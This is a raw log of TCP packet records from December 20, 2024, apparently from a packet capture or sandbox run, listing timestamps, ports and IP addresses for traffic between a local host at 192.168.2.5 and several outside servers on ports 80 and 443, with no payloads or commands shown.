Dec 20, 2024 02:11:42.380328894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.380367041 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.380410910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.381467104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.381601095 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.381652117 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.382652998 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.382708073 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.382775068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.383867979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.383898973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.383946896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.384092093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.384140015 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.384982109 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.385030985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.385118961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.385168076 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.386164904 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.386277914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.386327028 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.386485100 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.386646986 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.386708975 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.387006044 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.387077093 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.387337923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.387398958 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.387398958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.387413979 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.388190985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.388505936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.388634920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.388689041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.388775110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.388827085 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.388880968 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.389688015 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.389739037 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.389797926 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.390573978 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.390629053 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.390688896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.390741110 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.390805006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.390881062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.390955925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.391016960 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.391984940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.392127991 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.392175913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.392340899 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.392465115 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.392519951 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.393182993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.393229008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.393309116 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.393927097 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.393975973 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.394112110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.394151926 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.394203901 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.394325018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.394380093 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.394433975 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.394467115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.394527912 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.395481110 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.395880938 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.395935059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.395951033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.397588015 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.397644043 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.397711992 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.397761106 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.399290085 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.399365902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.399475098 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.400999069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.401093006 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.401148081 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.402626991 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.402770042 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.402821064 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.404269934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.404510021 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.404562950 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.405935049 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.406089067 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.406141996 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.407490969 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.407601118 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.407653093 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.409117937 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.409241915 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.410721064 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.410784006 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.410839081 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.411927938 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.412261963 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.412379980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.413796902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.413851023 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.413911104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.414273977 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.415357113 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.415407896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.415457964 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.416899920 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.416935921 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.416991949 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.418339968 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.418443918 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.419845104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.419903040 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.419956923 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.420005083 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.421336889 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.421447992 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.422492981 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.422816038 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.422945023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.422993898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.424283981 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.424392939 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.424447060 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.425729036 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.425878048 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.425930023 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.427136898 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.427252054 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.427309990 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.428587914 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.428708076 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.428764105 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.430039883 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.430147886 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.430197954 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.431426048 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.431538105 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.431607008 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.432821989 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.432950020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.433028936 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.434242010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.434468031 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.434748888 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.435616016 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.435919046 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.436525106 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.437007904 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.437122107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.437242985 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.438383102 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.438483953 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.438544989 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.439774990 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.440031052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.441150904 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.441204071 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.441274881 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.442538023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.442585945 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.442636013 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.442684889 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.443830967 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.443958044 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.444674015 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.444725037 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.444842100 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.445549965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.445584059 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.445605040 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.445627928 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.446360111 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.446481943 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.446537018 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.447196960 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.447490931 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.447546959 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.448031902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.448311090 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.448354006 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.448877096 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.449001074 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.449043989 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.449702024 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.449822903 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.450568914 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.450627089 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.450699091 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.451378107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.451427937 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.451483965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.451524973 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.452228069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.452332020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.453077078 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.453125000 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.453155041 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.453927994 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.453969002 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.454036951 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.454073906 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.454746008 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.454854012 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.454894066 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.455585957 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.455787897 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.455830097 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.456451893 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.500380039 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.526695967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.526810884 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.526870966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.527256966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.527431011 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.527471066 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.527545929 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.527601004 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.528060913 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.528215885 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.528301954 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.528403044 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.528501987 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.528539896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.528582096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.529612064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.529649019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.529719114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.529753923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.530807972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.530843019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.530883074 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.530919075 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.531950951 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.531994104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.532041073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.532083035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.533113956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.533153057 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.533221960 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.533260107 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.534307957 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.534349918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.534424067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.534463882 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.535455942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.535505056 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.535543919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.535583019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.536604881 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.536645889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.536699057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.536742926 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.537803888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.537847042 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.537920952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.537956953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.538981915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.539083004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.539125919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.540122986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.540174007 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.540240049 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.541307926 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.541348934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.541412115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.542445898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.542486906 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.542679071 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.542717934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.543612003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.543709993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.543751001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.544796944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.544847965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.544946909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.545958996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.546000957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.546051979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.547169924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.547215939 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.547240973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.547281981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.548315048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.548368931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.548440933 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.549463987 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.549510002 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.549540997 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.550638914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.550684929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.550720930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.550765991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.551810026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.551856995 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.551923990 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.551968098 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.552958965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.553081989 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.553133965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.554136038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.554214001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.554263115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.555299044 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.555347919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.555413008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.555458069 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.556488037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.556539059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.556560040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.556634903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.557697058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.557722092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.557769060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.557800055 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.558829069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.558887005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.558932066 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.559030056 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.560031891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.560081959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.560128927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.560174942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.561162949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.561225891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.561249018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.561335087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.562342882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.562453985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.562560081 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.562604904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.563491106 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.563509941 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.563539982 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.563555956 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.563591003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.563637018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.564454079 CET	443	49927	172.67.209.202	192.168.2.5
